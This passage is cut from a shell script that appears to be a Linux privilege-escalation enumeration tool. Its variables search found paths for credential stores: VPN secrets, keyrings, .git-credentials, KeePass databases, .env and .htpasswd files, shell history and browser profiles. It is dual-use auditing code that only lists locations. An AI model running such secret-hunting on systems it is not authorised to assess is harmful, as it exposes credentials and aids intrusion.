"$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) - PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.irssi$" | sort | uniq | head -n 70) - PSTORAGE_KEYRING=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) - PSTORAGE_FILEZILLA=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70) - PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) - PSTORAGE_SPLUNK=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "passwd$" | sort | uniq | head -n 70) - PSTORAGE_GITLAB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '/lib' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) - PSTORAGE_PGP_GPG=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E 'README.gnupg' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) - PSTORAGE_CACHE_VI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) - PSTORAGE_DOCKER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70) - PSTORAGE_FIREFOX=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70) - PSTORAGE_CHROME=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70) - PSTORAGE_OPERA=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70) - PSTORAGE_SAFARI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70) - PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) - PSTORAGE_FASTCGI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) - PSTORAGE_SNMP=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_PYPIRC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.pypirc$" | sort | uniq | head -n 70) - PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "postfix$" | sort | uniq | head -n 70) - PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) - PSTORAGE_HISTORY=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*_history.*$" | sort | uniq | head -n 70) - PSTORAGE_HTTP_CONF=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_HTPASSWD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) - PSTORAGE_LDAPRC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) - PSTORAGE_ENV=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.env$" | sort | uniq | head -n 70) - PSTORAGE_MSMTPRC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) - PSTORAGE_INFLUXDB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70) - PSTORAGE_ZABBIX=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70) - PSTORAGE_GITHUB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) - PSTORAGE_SVN=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.svn$" | sort | uniq | head -n 70) - PSTORAGE_KEEPASS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) - PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.psk$" | sort | uniq | head -n 70) - PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.password-store$" | sort | uniq | head -n 70) - PSTORAGE_FTP=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70) - PSTORAGE_BIND=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/var|^/usr|^/etc" | grep -E "bind$" | sort | uniq | head -n 70) - PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E 